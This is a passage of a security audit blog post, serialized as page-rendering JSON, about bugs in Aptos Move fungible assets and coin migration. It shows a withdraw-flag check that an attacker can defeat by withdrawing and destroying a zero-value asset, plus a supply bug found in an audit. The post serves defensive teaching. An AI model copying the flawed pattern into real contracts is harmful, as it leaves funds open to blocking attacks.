"line":226},[67434,67439,67443,67447],{"type":25,"tag":201,"props":67435,"children":67436},{"style":214},[67437],{"type":31,"value":67438},"    assert_withdraw_flag",{"type":25,"tag":201,"props":67440,"children":67441},{"style":220},[67442],{"type":31,"value":298},{"type":25,"tag":201,"props":67444,"children":67445},{"style":208},[67446],{"type":31,"value":5497},{"type":25,"tag":201,"props":67448,"children":67449},{"style":220},[67450],{"type":31,"value":308},{"type":25,"tag":201,"props":67452,"children":67453},{"class":203,"line":278},[67454,67458,67462],{"type":25,"tag":201,"props":67455,"children":67456},{"style":220},[67457],{"type":31,"value":63798},{"type":25,"tag":201,"props":67459,"children":67460},{"style":261},[67461],{"type":31,"value":11095},{"type":25,"tag":201,"props":67463,"children":67464},{"style":220},[67465],{"type":31,"value":13274},{"type":25,"tag":201,"props":67467,"children":67468},{"class":203,"line":311},[67469,67474,67478,67482],{"type":25,"tag":201,"props":67470,"children":67471},{"style":214},[67472],{"type":31,"value":67473},"    set_withdraw_flag",{"type":25,"tag":201,"props":67475,"children":67476},{"style":220},[67477],{"type":31,"value":298},{"type":25,"tag":201,"props":67479,"children":67480},{"style":208},[67481],{"type":31,"value":9683},{"type":25,"tag":201,"props":67483,"children":67484},{"style":220},[67485],{"type":31,"value":308},{"type":25,"tag":201,"props":67487,"children":67488},{"class":203,"line":330},[67489,67493,67497,67501,67505,67509,67513,67517,67521,67525],{"type":25,"tag":201,"props":67490,"children":67491},{"style":220},[67492],{"type":31,"value":67041},{"type":25,"tag":201,"props":67494,"children":67495},{"style":261},[67496],{"type":31,"value":4988},{"type":25,"tag":201,"props":67498,"children":67499},{"style":214},[67500],{"type":31,"value":67229},{"type":25,"tag":201,"props":67502,"children":67503},{"style":220},[67504],{"type":31,"value":298},{"type":25,"tag":201,"props":67506,"children":67507},{"style":246},[67508],{"type":31,"value":67059},{"type":25,"tag":201,"props":67510,"children":67511},{"style":220},[67512],{"type":31,"value":919},{"type":25,"tag":201,"props":67514,"children":67515},{"style":246},[67516],{"type":31,"value":7449},{"type":25,"tag":201,"props":67518,"children":67519},{"style":220},[67520],{"type":31,"value":919},{"type":25,"tag":201,"props":67522,"children":67523},{"style":246},[67524],{"type":31,"value":21803},{"type":25,"tag":201,"props":67526,"children":67527},{"style":220},[67528],{"type":31,"value":308},{"type":25,"tag":201,"props":67530,"children":67531},{"class":203,"line":397},[67532,67536,67540],{"type":25,"tag":201,"props":67533,"children":67534},{"style":220},[67535],{"type":31,"value":63798},{"type":25,"tag":201,"props":67537,"children":67538},{"style":261},[67539],{"type":31,"value":11095},{"type":25,"tag":201,"props":67541,"children":67542},{"style":220},[67543],{"type":31,"value":13274},{"type":25,"tag":201,"props":67545,"children":67546},{"class":203,"line":437},[67547],{"type":25,"tag":201,"props":67548,"children":67549},{"style":220},[67550],{"type":31,"value":4861},{"type":25,"tag":201,"props":67552,"children":67553},{"class":203,"line":464},[67554],{"type":25,"tag":201,"props":67555,"children":67556},{"emptyLinePlaceholder":17},[67557],{"type":31,"value":496},{"type":25,"tag":201,"props":67559,"children":67560},{"class":203,"line":490},[67561,67565,67569,67573,67577,67581,67585,67589,67593,67597,67601,67605,67609,67613,67617,67621,67625,67629,67633,67637,67641,67645,67649,67653,67657,67661,67665,67669,67673],{"type":25,"tag":201,"props":67562,"children":67563},{"style":246},[67564],{"type":31,"value":62755},{"type":25,"tag":201,"props":67566,"children":67567},{"style":246},[67568],{"type":31,"value":7715},{"type":25,"tag":201,"props":67570,"children":67571},{"style":246},[67572],{"type":31,"value":21768},{"type":25,"tag":201,"props":67574,"children":67575},{"style":220},[67576],{"type":31,"value":1298},{"type":25,"tag":201,"props":67578,"children":67579},{"style":4925},[67580],{"type":31,"value":7496},{"type":25,"tag":201,"props":67582,"children":67583},{"style":261},[67584],{"type":31,"value":5997},{"type":25,"tag":201,"props":67586,"children":67587},{"style":246},[67588],{"type":31,"value":7440},{"type":25,"tag":201,"props":67590,"children":67591},{"style":220},[67592],{"type":31,"value":9120},{"type":25,"tag":201,"props":67594,"children":67595},{"style":246},[67596],{"type":31,"value":7449},{"type":25,"tag":201,"props":67598,"children":67599},{"style":261},[67600],{"type":31,"value":5997},{"type":25,"tag":201,"props":67602,"children":67603},{"style":4925},[67604],{"type":31,"value":62641},{"type":25,"tag":201,"props":67606,"children":67607},{"style":220},[67608],{"type":31,"value":1298},{"type":25,"tag":201,"props":67610,"children":67611},{"style":4925},[67612],{"type":31,"value":7496},{"type":25,"tag":201,"props":67614,"children":67615},{"style":220},[67616],{"type":31,"value":8139},{"type":25,"tag":201,"props":67618,"children":67619},{"style":246},[67620],{"type":31,"value":21803},{"type":25,"tag":201,"props":67622,"children":67623},{"style":261},[67624],{"type":31,"value":5997},{"type":25,"tag":201,"props":67626,"children":67627},{"style":4925},[67628],{"type":31,"value":7369},{"type":25,"tag":201,"props":67630,"children":67631},{"style":220},[67632],{"type":31,"value":919},{"type":25,"tag":201,"props":67634,"children":67635},{"style":246},[67636],{"type":31,"value":67059},{"type":25,"tag":201,"props":67638,"children":67639},{"style":261},[67640],{"type":31,"value":5997},{"type":25,"tag":201,"props":67642,"children":67643},{"style":261},[67644],{"type":31,"value":8650},{"type":25,"tag":201,"props":67646,"children":67647},{"style":4925},[67648],{"type":31,"value":66505},{"type":25,"tag":201,"props":67650,"children":67651},{"style":220},[67652],{"type":31,"value":3073},{"type":25,"tag":201,"props":67654,"children":67655},{"style":261},[67656],{"type":31,"value":5997},{"type":25,"tag":201,"props":67658,"children":67659},{"style":4925},[67660],{"type":31,"value":62620},{"type":25,"tag":201,"props":67662,"children":67663},{"style":246},[67664],{"type":31,"value":9076},{"type":25,"tag":201,"props":67666,"children":67667},{"style":220},[67668],{"type":31,"value":4088},{"type":25,"tag":201,"props":67670,"children":67671},{"style":261},[67672],{"type":31,"value":11095},{"type":25,"tag":201,"props":67674,"children":67675},{"style":220},[67676],{"type":31,"value":62846},{"type":25,"tag":201,"props":67678,"children":67679},{"class":203,"line":499},[67680,67684,67688,67692],{"type":25,"tag":201,"props":67681,"children":67682},{"style":214},[67683],{"type":31,"value":67438},{"type":25,"tag":201,"props":67685,"children":67686},{"style":220},[67687],{"type":31,"value":298},{"type":25,"tag":201,"props":67689,"children":67690},{"style":208},[67691],{"type":31,"value":9683},{"type":25,"tag":201,"props":67693,"children":67694},{"style":220},[67695],{"type":31,"value":308},{"type":25,"tag":201,"props":67697,"children":67698},{"class":203,"line":522},[67699,67703,67707],{"type":25,"tag":201,"props":67700,"children":67701},{"style":220},[67702],{"type":31,"value":63798},{"type":25,"tag":201,"props":67704,"children":67705},{"style":261},[67706],{"type":31,"value":11095},{"type":25,"tag":201,"props":67708,"children":67709},{"style":220},[67710],{"type":31,"value":13274},{"type":25,"tag":201,"props":67712,"children":67713},{"class":203,"line":531},[67714,67718,67722,67726],{"type":25,"tag":201,"props":67715,"children":67716},{"style":214},[67717],{"type":31,"value":67473},{"type":25,"tag":201,"props":67719,"children":67720},{"style":220},[67721],{"type":31,"value":298},{"type":25,"tag":201,"props":67723,"children":67724},{"style":208},[67725],{"type":31,"value":5497},{"type":25,"tag":201,"props":67727,"children":67728},{"style":220},[67729],{"type":31,"value":308},{"type":25,"tag":201,"props":67731,"children":67732},{"class":203,"line":550},[67733,67737,67741,67745,67749,67753,67757,67761,67765,67769],{"type":25,"tag":201,"props":67734,"children":67735},{"style":220},[67736],{"type":31,"value":67041},{"type":25,"tag":201,"props":67738,"children":67739},{"style":261},[67740],{"type":31,"value":4988},{"type":25,"tag":201,"props":67742,"children":67743},{"style":214},[67744],{"type":31,"value":67050},{"type":25,"tag":201,"props":67746,"children":67747},{"style":220},[67748],{"type":31,"value":298},{"type":25,"tag":201,"props":67750,"children":67751},{"style":246},[67752],{"type":31,"value":67059},{"type":25,"tag":201,"props":67754,"children":67755},{"style":220},[67756],{"type":31,"value":919},{"type":25,"tag":201,"props":67758,"children":67759},{"style":246},[67760],{"type":31,"value":7449},{"type":25,"tag":201,"props":67762,"children":67763},{"style":220},[67764],{"type":31,"value":919},{"type":25,"tag":201,"props":67766,"children":67767},{"style":246},[67768],{"type":31,"value":21803},{"type":25,"tag":201,"props":67770,"children":67771},{"style":220},[67772],{"type":31,"value":4666},{"type":25,"tag":201,"props":67774,"children":67775},{"class":203,"line":563},[67776],{"type":25,"tag":201,"props":67777,"children":67778},{"style":220},[67779],{"type":31,"value":1187},{"type":25,"tag":34,"props":67781,"children":67782},{},[67783],{"type":31,"value":67784},"At first glance, this code appears valid, but not to an astute reader.",{"type":25,"tag":67266,"props":67786,"children":67787},{},[67788,67793],{"type":25,"tag":34,"props":67789,"children":67790},{},[67791],{"type":31,"value":67792},"Can you spot the bug? Hint: We mentioned the root cause previously.",{"type":25,"tag":67297,"props":67794,"children":67795},{"v-slot:answer-0":7},[67796,67816],{"type":25,"tag":34,"props":67797,"children":67798},{},[67799,67801,67806,67808,67814],{"type":31,"value":67800},"The developer overlooked an important detail, which we already mentioned earlier: a fungible asset with a value of zero can also be burned! An attacker could exploit this by withdrawing 0 ",{"type":25,"tag":115,"props":67802,"children":67804},{"className":67803},[],[67805],{"type":31,"value":62591},{"type":31,"value":67807}," (since withdraw doesn’t verify if the value is greater than 0) and then burning it using ",{"type":25,"tag":115,"props":67809,"children":67811},{"className":67810},[],[67812],{"type":31,"value":67813},"fungible_asset::destroy_zero",{"type":31,"value":67815},". This would complete the transaction while keeping the \"blocked\" flag set, effectively preventing further withdrawals.",{"type":25,"tag":34,"props":67817,"children":67818},{},[67819],{"type":31,"value":67820},"It's important to understand all the features in the standard.",{"type":25,"tag":26,"props":67822,"children":67824},{"id":67823},"migrating-from-coins-to-fungible-assets",[67825],{"type":31,"value":67826},"Migrating from coins to fungible assets",{"type":25,"tag":34,"props":67828,"children":67829},{},[67830,67832,67837],{"type":31,"value":67831},"If a fungible asset is considered an upgrade to ",{"type":25,"tag":115,"props":67833,"children":67835},{"className":67834},[],[67836],{"type":31,"value":62046},{"type":31,"value":67838},", a transition mechanism becomes necessary. This is addressed through a conversion map, establishing a relationship between specific coin and fungible asset. This duality is not without its challenges.",{"type":25,"tag":67840,"props":67841,"children":67842},"note",{},[67843],{"type":25,"tag":34,"props":67844,"children":67845},{},[67846,67848,67853,67855,67860],{"type":31,"value":67847},"While the ",{"type":25,"tag":115,"props":67849,"children":67851},{"className":67850},[],[67852],{"type":31,"value":62046},{"type":31,"value":67854}," API recognizes and integrates with fungible assets, the fungible asset APIs do not have awareness of the linked ",{"type":25,"tag":115,"props":67856,"children":67858},{"className":67857},[],[67859],{"type":31,"value":62046},{"type":31,"value":80},{"type":25,"tag":34,"props":67862,"children":67863},{},[67864,67865,67871,67873,67878,67880,67885],{"type":31,"value":18109},{"type":25,"tag":115,"props":67866,"children":67868},{"className":67867},[],[67869],{"type":31,"value":67870},"coin_to_fungible_asset",{"type":31,"value":67872}," converting function automatically generates a corresponding fungible asset for a ",{"type":25,"tag":115,"props":67874,"children":67876},{"className":67875},[],[67877],{"type":31,"value":62046},{"type":31,"value":67879}," if one does not already exist. Manual creation of a fungible asset and its linkage to a ",{"type":25,"tag":115,"props":67881,"children":67883},{"className":67882},[],[67884],{"type":31,"value":62046},{"type":31,"value":67886}," is not allowed.",{"type":25,"tag":191,"props":67888,"children":67890},{"className":4487,"code":67889,"language":4486,"meta":7,"style":7},"public fun coin_to_fungible_asset\u003CCoinType>(\n    coin: Coin\u003CCoinType>\n): FungibleAsset acquires CoinConversionMap, CoinInfo {\n    let metadata = ensure_paired_metadata\u003CCoinType>();\n    let amount = burn_internal(coin);\n    fungible_asset::mint_internal(metadata, amount)\n}\n",[67891],{"type":25,"tag":115,"props":67892,"children":67893},{"__ignoreMap":7},[67894,67922,67949,67985,68018,68051,68087],{"type":25,"tag":201,"props":67895,"children":67896},{"class":203,"line":204},[67897,67901,67905,67910,67914,67918],{"type":25,"tag":201,"props":67898,"children":67899},{"style":246},[67900],{"type":31,"value":62755},{"type":25,"tag":201,"props":67902,"children":67903},{"style":246},[67904],{"type":31,"value":7715},{"type":25,"tag":201,"props":67906,"children":67907},{"style":246},[67908],{"type":31,"value":67909}," coin_to_fungible_asset",{"type":25,"tag":201,"props":67911,"children":67912},{"style":220},[67913],{"type":31,"value":1298},{"type":25,"tag":201,"props":67915,"children":67916},{"style":4925},[67917],{"type":31,"value":8092},{"type":25,"tag":201,"props":67919,"children":67920},{"style":220},[67921],{"type":31,"value":8097},{"type":25,"tag":201,"props":67923,"children":67924},{"class":203,"line":226},[67925,67929,67933,67937,67941,67945],{"type":25,"tag":201,"props":67926,"children":67927},{"style":246},[67928],{"type":31,"value":62265},{"type":25,"tag":201,"props":67930,"children":67931},{"style":261},[67932],{"type":31,"value":5997},{"type":25,"tag":201,"props":67934,"children":67935},{"style":4925},[67936],{"type":31,"value":7311},{"type":25,"tag":201,"props":67938,"children":67939},{"style":220},[67940],{"type":31,"value":1298},{"type":25,"tag":201,"props":67942,"children":67943},{"style":4925},[67944],{"type":31,"value":8092},{"type":25,"tag":201,"props":67946,"children":67947},{"style":220},[67948],{"type":31,"value":1308},{"type":25,"tag":201,"props":67950,"children":67951},{"class":203,"line":278},[67952,67956,67960,67964,67968,67973,67977,67981],{"type":25,"tag":201,"props":67953,"children":67954},{"style":220},[67955],{"type":31,"value":3073},{"type":25,"tag":201,"props":67957,"children":67958},{"style":261},[67959],{"type":31,"value":5997},{"type":25,"tag":201,"props":67961,"children":67962},{"style":4925},[67963],{"type":31,"value":62620},{"type":25,"tag":201,"props":67965,"children":67966},{"style":246},[67967],{"type":31,"value":9076},{"type":25,"tag":201,"props":67969,"children":67970},{"style":4925},[67971],{"type":31,"value":67972}," CoinConversionMap",{"type":25,"tag":201,"props":67974,"children":67975},{"style":220},[67976],{"type":31,"value":919},{"type":25,"tag":201,"props":67978,"children":67979},{"style":4925},[67980],{"type":31,"value":8222},{"type":25,"tag":201,"props":67982,"children":67983},{"style":220},[67984],{"type":31,"value":327},{"type":25,"tag":201,"props":67986,"children":67987},{"class":203,"line":311},[67988,67992,67997,68001,68006,68010,68014],{"type":25,"tag":201,"props":67989,"children":67990},{"style":208},[67991],{"type":31,"value":4508},{"type":25,"tag":201,"props":67993,"children":67994},{"style":246},[67995],{"type":31,"value":67996}," metadata",{"type":25,"tag":201,"props":67998,"children":67999},{"style":261},[68000],{"type":31,"value":413},{"type":25,"tag":201,"props":68002,"children":68003},{"style":246},[68004],{"type":31,"value":68005}," ensure_paired_metadata",{"type":25,"tag":201,"props":68007,"children":68008},{"style":220},[68009],{"type":31,"value":1298},{"type":25,"tag":201,"props":68011,"children":68012},{"style":4925},[68013],{"type":31,"value":8092},{"type":25,"tag":201,"props":68015,"children":68016},{"style":220},[68017],{"type":31,"value":9959},{"type":25,"tag":201,"props":68019,"children":68020},{"class":203,"line":330},[68021,68025,68030,68034,68039,68043,68047],{"type":25,"tag":201,"props":68022,"children":68023},{"style":208},[68024],{"type":31,"value":4508},{"type":25,"tag":201,"props":68026,"children":68027},{"style":246},[68028],{"type":31,"value":68029}," amount",{"type":25,"tag":201,"props":68031,"children":68032},{"style":261},[68033],{"type":31,"value":413},{"type":25,"tag":201,"props":68035,"children":68036},{"style":214},[68037],{"type":31,"value":68038}," burn_internal",{"type":25,"tag":201,"props":68040,"children":68041},{"style":220},[68042],{"type":31,"value":298},{"type":25,"tag":201,"props":68044,"children":68045},{"style":246},[68046],{"type":31,"value":62013},{"type":25,"tag":201,"props":68048,"children":68049},{"style":220},[68050],{"type":31,"value":308},{"type":25,"tag":201,"props":68052,"children":68053},{"class":203,"line":397},[68054,68058,68062,68067,68071,68075,68079,68083],{"type":25,"tag":201,"props":68055,"children":68056},{"style":220},[68057],{"type":31,"value":67041},{"type":25,"tag":201,"props":68059,"children":68060},{"style":261},[68061],{"type":31,"value":4988},{"type":25,"tag":201,"props":68063,"children":68064},{"style":214},[68065],{"type":31,"value":68066},"mint_internal",{"type":25,"tag":201,"props":68068,"children":68069},{"style":220},[68070],{"type":31,"value":298},{"type":25,"tag":201,"props":68072,"children":68073},{"style":246},[68074],{"type":31,"value":63392},{"type":25,"tag":201,"props":68076,"children":68077},{"style":220},[68078],{"type":31,"value":919},{"type":25,"tag":201,"props":68080,"children":68081},{"style":246},[68082],{"type":31,"value":21803},{"type":25,"tag":201,"props":68084,"children":68085},{"style":220},[68086],{"type":31,"value":4666},{"type":25,"tag":201,"props":68088,"children":68089},{"class":203,"line":437},[68090],{"type":25,"tag":201,"props":68091,"children":68092},{"style":220},[68093],{"type":31,"value":1187},{"type":25,"tag":34,"props":68095,"children":68096},{},[68097,68099,68106],{"type":31,"value":68098},"When creating a fungible asset, several pieces of information are required, such as the asset’s name, symbol, or maximum supply. During our audit of the fungible asset standard, we ",{"type":25,"tag":71,"props":68100,"children":68103},{"href":68101,"rel":68102},"https://github.com/aptos-labs/aptos-core/commit/e5f4b62b237dad4d15069d3bb0b551b2df04bf08",[75],[68104],{"type":31,"value":68105},"noticed an overlooked detail",{"type":31,"value":68107}," in the linking process.",{"type":25,"tag":191,"props":68109,"children":68111},{"className":4487,"code":68110,"language":4486,"meta":7,"style":7},"[...]\nprimary_fungible_store::create_primary_store_enabled_fungible_asset(\n    &metadata_object_cref,\n    option::map(coin_supply\u003CCoinType>(), |_| MAX_U128),\n    name\u003CCoinType>(),\n    symbol\u003CCoinType>(),\n    decimals\u003CCoinType>(),\n    string::utf8(b\"\"),\n    string::utf8(b\"\"),\n);\n[...]\n",[68112],{"type":25,"tag":115,"props":68113,"children":68114},{"__ignoreMap":7},[68115,68130,68150,68167,68223,68244,68264,68284,68314,68341,68348],{"type":25,"tag":201,"props":68116,"children":68117},{"class":203,"line":204},[68118,68122,68126],{"type":25,"tag":201,"props":68119,"children":68120},{"style":220},[68121],{"type":31,"value":423},{"type":25,"tag":201,"props":68123,"children":68124},{"style":261},[68125],{"type":31,"value":11095},{"type":25,"tag":201,"props":68127,"children":68128},{"style":220},[68129],{"type":31,"value":13274},{"type":25,"tag":201,"props":68131,"children":68132},{"class":203,"line":226},[68133,68137,68141,68146],{"type":25,"tag":201,"props":68134,"children":68135},{"style":220},[68136],{"type":31,"value":63689},{"type":25,"tag":201,"props":68138,"children":68139},{"style":261},[68140],{"type":31,"value":4988},{"type":25,"tag":201,"props":68142,"children":68143},{"style":214},[68144],{"type":31,"value":68145},"create_primary_store_enabled_fungible_asset",{"type":25,"tag":201,"props":68147,"children":68148},{"style":220},[68149],{"type":31,"value":4970},{"type":25,"tag":201,"props":68151,"children":68152},{"class":203,"line":278},[68153,68158,68163],{"type":25,"tag":201,"props":68154,"children":68155},{"style":261},[68156],{"type":31,"value":68157},"    &",{"type":25,"tag":201,"props":68159,"children":68160},{"style":246},[68161],{"type":31,"value":68162},"metadata_object_cref",{"type":25,"tag":201,"props":68164,"children":68165},{"style":220},[68166],{"type":31,"value":547},{"type":25,"tag":201,"props":68168,"children":68169},{"class":203,"line":311},[68170,68175,68179,68184,68188,68193,68197,68201,68206,68210,68214,68218],{"type":25,"tag":201,"props":68171,"children":68172},{"style":220},[68173],{"type":31,"value":68174},"    option",{"type":25,"tag":201,"props":68176,"children":68177},{"style":261},[68178],{"type":31,"value":4988},{"type":25,"tag":201,"props":68180,"children":68181},{"style":214},[68182],{"type":31,"value":68183},"map",{"type":25,"tag":201,"props":68185,"children":68186},{"style":220},[68187],{"type":31,"value":298},{"type":25,"tag":201,"props":68189,"children":68190},{"style":246},[68191],{"type":31,"value":68192},"coin_supply",{"type":25,"tag":201,"props":68194,"children":68195},{"style":220},[68196],{"type":31,"value":1298},{"type":25,"tag":201,"props":68198,"children":68199},{"style":4925},[68200],{"type":31,"value":8092},{"type":25,"tag":201,"props":68202,"children":68203},{"style":220},[68204],{"type":31,"value":68205},">(), ",{"type":25,"tag":201,"props":68207,"children":68208},{"style":261},[68209],{"type":31,"value":11918},{"type":25,"tag":201,"props":68211,"children":68212},{"style":246},[68213],{"type":31,"value":4589},{"type":25,"tag":201,"props":68215,"children":68216},{"style":261},[68217],{"type":31,"value":11918},{"type":25,"tag":201,"props":68219,"children":68220},{"style":220},[68221],{"type":31,"value":68222}," MAX_U128),\n",{"type":25,"tag":201,"props":68224,"children":68225},{"class":203,"line":330},[68226,68231,68235,68239],{"type":25,"tag":201,"props":68227,"children":68228},{"style":246},[68229],{"type":31,"value":68230},"    name",{"type":25,"tag":201,"props":68232,"children":68233},{"style":220},[68234],{"type":31,"value":1298},{"type":25,"tag":201,"props":68236,"children":68237},{"style":4925},[68238],{"type":31,"value":8092},{"type":25,"tag":201,"props":68240,"children":68241},{"style":220},[68242],{"type":31,"value":68243},">(),\n",{"type":25,"tag":201,"props":68245,"children":68246},{"class":203,"line":397},[68247,68252,68256,68260],{"type":25,"tag":201,"props":68248,"children":68249},{"style":246},[68250],{"type":31,"value":68251},"    symbol",{"type":25,"tag":201,"props":68253,"children":68254},{"style":220},[68255],{"type":31,"value":1298},{"type":25,"tag":201,"props":68257,"children":68258},{"style":4925},[68259],{"type":31,"value":8092},{"type":25,"tag":201,"props":68261,"children":68262},{"style":220},[68263],{"type":31,"value":68243},{"type":25,"tag":201,"props":68265,"children":68266},{"class":203,"line":437},[68267,68272,68276,68280],{"type":25,"tag":201,"props":68268,"children":68269},{"style":246},[68270],{"type":31,"value":68271},"    decimals",{"type":25,"tag":201,"props":68273,"children":68274},{"style":220},[68275],{"type":31,"value":1298},{"type":25,"tag":201,"props":68277,"children":68278},{"style":4925},[68279],{"type":31,"value":8092},{"type":25,"tag":201,"props":68281,"children":68282},{"style":220},[68283],{"type":31,"value":68243},{"type":25,"tag":201,"props":68285,"children":68286},{"class":203,"line":464},[68287,68292,68296,68301,68305,68310],{"type":25,"tag":201,"props":68288,"children":68289},{"style":220},[68290],{"type":31,"value":68291},"    string",{"type":25,"tag":201,"props":68293,"children":68294},{"style":261},[68295],{"type":31,"value":4988},{"type":25,"tag":201,"props":68297,"children":68298},{"style":214},[68299],{"type":31,"value":68300},"utf8",{"type":25,"tag":201,"props":68302,"children":68303},{"style":220},[68304],{"type":31,"value":298},{"type":25,"tag":201,"props":68306,"children":68307},{"style":267},[68308],{"type":31,"value":68309},"b\"\"",{"type":25,"tag":201,"props":68311,"children":68312},{"style":220},[68313],{"type":31,"value":8245},{"type":25,"tag":201,"props":68315,"children":68316},{"class":203,"line":490},[68317,68321,68325,68329,68333,68337],{"type":25,"tag":201,"props":68318,"children":68319},{"style":220},[68320],{"type":31,"value":68291},{"type":25,"tag":201,"props":68322,"children":68323},{"style":261},[68324],{"type":31,"value":4988},{"type":25,"tag":201,"props":68326,"children":68327},{"style":214},[68328],{"type":31,"value":68300},{"type":25,"tag":201,"props":68330,"children":68331},{"style":220},[68332],{"type":31,"value":298},{"type":25,"tag":201,"props":68334,"children":68335},{"style":267},[68336],{"type":31,"value":68309},{"type":25,"tag":201,"props":68338,"children":68339},{"style":220},[68340],{"type":31,"value":8245},{"type":25,"tag":201,"props":68342,"children":68343},{"class":203,"line":499},[68344],{"type":25,"tag":201,"props":68345,"children":68346},{"style":220},[68347],{"type":31,"value":308},{"type":25,"tag":201,"props":68349,"children":68350},{"class":203,"line":522},[68351,68355,68359],{"type":25,"tag":201,"props":68352,"children":68353},{"style":220},[68354],{"type":31,"value":423},{"type":25,"tag":201,"props":68356,"children":68357},{"style":261},[68358],{"type":31,"value":11095},{"type":25,"tag":201,"props":68360,"children":68361},{"style":220},[68362],{"type":31,"value":13274},{"type":25,"tag":34,"props":68364,"children":68365},{},[68366,68368,68373],{"type":31,"value":68367},"When the linked fungible asset was created, the current ",{"type":25,"tag":115,"props":68369,"children":68371},{"className":68370},[],[68372],{"type":31,"value":62046},{"type":31,"value":68374}," supply was incorrectly passed as the maximum fungible asset supply, preventing the minting of additional fungible assets beyond the existing coin circulation.",{"type":25,"tag":34,"props":68376,"children":68377},{},[68378,68380,68385,68387,68393,68395,68400],{"type":31,"value":68379},"Users can manually migrate their ",{"type":25,"tag":115,"props":68381,"children":68383},{"className":68382},[],[68384],{"type":31,"value":62208},{"type":31,"value":68386}," to a primary fungible store. This creates a store for the paired fungible asset (if one doesn’t exist) and removes the ",{"type":25,"tag":115,"props":68388,"children":68390},{"className":68389},[],[68391],{"type":31,"value":68392},"\u003CCoinStore\u003CCoinType>>",{"type":31,"value":68394}," from the caller. All coins in the ",{"type":25,"tag":115,"props":68396,"children":68398},{"className":68397},[],[68399],{"type":31,"value":62208},{"type":31,"value":68401}," are exchanged and transferred to the new store during the migration.",{"type":25,"tag":191,"props":68403,"children":68405},{"className":4487,"code":68404,"language":4486,"meta":7,"style":7},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\npublic entry fun migrate_to_fungible_store\u003CCoinType>(\n    account: &signer\n) acquires CoinStore, CoinConversionMap, CoinInfo {\n    maybe_convert_to_fungible_store\u003CCoinType>(signer::address_of(account));\n}\n",[68406],{"type":25,"tag":115,"props":68407,"children":68408},{"__ignoreMap":7},[68409,68417,68449,68469,68505,68546],{"type":25,"tag":201,"props":68410,"children":68411},{"class":203,"line":204},[68412],{"type":25,"tag":201,"props":68413,"children":68414},{"style":4497},[68415],{"type":31,"value":68416},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\n",{"type":25,"tag":201,"props":68418,"children":68419},{"class":203,"line":226},[68420,68424,68428,68432,68437,68441,68445],{"type":25,"tag":201,"props":68421,"children":68422},{"style":246},[68423],{"type":31,"value":62755},{"type":25,"tag":201,"props":68425,"children":68426},{"style":246},[68427],{"type":31,"value":63722},{"type":25,"tag":201,"props":68429,"children":68430},{"style":246},[68431],{"type":31,"value":7715},{"type":25,"tag":201,"props":68433,"children":68434},{"style":246},[68435],{"type":31,"value":68436}," migrate_to_fungible_store",{"type":25,"tag":201,"props":68438,"children":68439},{"style":220},[68440],{"type":31,"value":1298},{"type":25,"tag":201,"props":68442,"children":68443},{"style":4925},[68444],{"type":31,"value":8092},{"type":25,"tag":201,"props":68446,"children":68447},{"style":220},[68448],{"type":31,"value":8097},{"type":25,"tag":201,"props":68450,"children":68451},{"class":203,"line":278},[68452,68456,68460,68464],{"type":25,"tag":201,"props":68453,"children":68454},{"style":246},[68455],{"type":31,"value":26657},{"type":25,"tag":201,"props":68457,"children":68458},{"style":261},[68459],{"type":31,"value":5997},{"type":25,"tag":201,"props":68461,"children":68462},{"style":261},[68463],{"type":31,"value":8650},{"type":25,"tag":201,"props":68465,"children":68466},{"style":246},[68467],{"type":31,"value":68468},"signer\n",{"type":25,"tag":201,"props":68470,"children":68471},{"class":203,"line":311},[68472,68476,68480,68484,68488,68493,68497,68501],{"type":25,"tag":201,"props":68473,"children":68474},{"style":220},[68475],{"type":31,"value":385},{"type":25,"tag":201,"props":68477,"children":68478},{"style":246},[68479],{"type":31,"value":7852},{"type":25,"tag":201,"props":68481,"children":68482},{"style":4925},[68483],{"type":31,"value":62229},{"type":25,"tag":201,"props":68485,"children":68486},{"style":220},[68487],{"type":31,"value":919},{"type":25,"tag":201,"props":68489,"children":68490},{"style":4925},[68491],{"type":31,"value":68492},"CoinConversionMap",{"type":25,"tag":201,"props":68494,"children":68495},{"style":220},[68496],{"type":31,"value":919},{"type":25,"tag":201,"props":68498,"children":68499},{"style":4925},[68500],{"type":31,"value":8222},{"type":25,"tag":201,"props":68502,"children":68503},{"style":220},[68504],{"type":31,"value":327},{"type":25,"tag":201,"props":68506,"children":68507},{"class":203,"line":330},[68508,68513,68517,68521,68526,68530,68534,68538,68542],{"type":25,"tag":201,"props":68509,"children":68510},{"style":246},[68511],{"type":31,"value":68512},"    maybe_convert_to_fungible_store",{"type":25,"tag":201,"props":68514,"children":68515},{"style":220},[68516],{"type":31,"value":1298},{"type":25,"tag":201,"props":68518,"children":68519},{"style":4925},[68520],{"type":31,"value":8092},{"type":25,"tag":201,"props":68522,"children":68523},{"style":220},[68524],{"type":31,"value":68525},">(signer",{"type":25,"tag":201,"props":68527,"children":68528},{"style":261},[68529],{"type":31,"value":4988},{"type":25,"tag":201,"props":68531,"children":68532},{"style":214},[68533],{"type":31,"value":8718},{"type":25,"tag":201,"props":68535,"children":68536},{"style":220},[68537],{"type":31,"value":298},{"type":25,"tag":201,"props":68539,"children":68540},{"style":246},[68541],{"type":31,"value":14455},{"type":25,"tag":201,"props":68543,"children":68544},{"style":220},[68545],{"type":31,"value":8732},{"type":25,"tag":201,"props":68547,"children":68548},{"class":203,"line":397},[68549],{"type":25,"tag":201,"props":68550,"children":68551},{"style":220},[68552],{"type":31,"value":1187},{"type":25,"tag":34,"props":68554,"children":68555},{},[68556,68558,68563,68565,68570],{"type":31,"value":68557},"A curious reader might wonder about the fate of the ",{"type":25,"tag":115,"props":68559,"children":68561},{"className":68560},[],[68562],{"type":31,"value":62208},{"type":31,"value":68564}," \"frozen\" status during migration. Unsurprisingly tough, the \"frozen\" status of the primary fungible store is matched to that of the ",{"type":25,"tag":115,"props":68566,"children":68568},{"className":68567},[],[68569],{"type":31,"value":62208},{"type":31,"value":68571}," to ensure consistency.",{"type":25,"tag":67266,"props":68573,"children":68574},{},[68575,68594],{"type":25,"tag":34,"props":68576,"children":68577},{},[68578,68580,68585,68587,68592],{"type":31,"value":68579},"Could an attacker convert their ",{"type":25,"tag":115,"props":68581,"children":68583},{"className":68582},[],[68584],{"type":31,"value":62208},{"type":31,"value":68586}," to a primary fungible store and then register another ",{"type":25,"tag":115,"props":68588,"children":68590},{"className":68589},[],[68591],{"type":31,"value":62208},{"type":31,"value":68593}," only to convert it again to manipulate the \"frozen\" status of the linked primary fungible store?",{"type":25,"tag":67297,"props":68595,"children":68596},{"v-slot:answer-0":7},[68597],{"type":25,"tag":34,"props":68598,"children":68599},{},[68600],{"type":31,"value":68601},"The coin::register function first checks 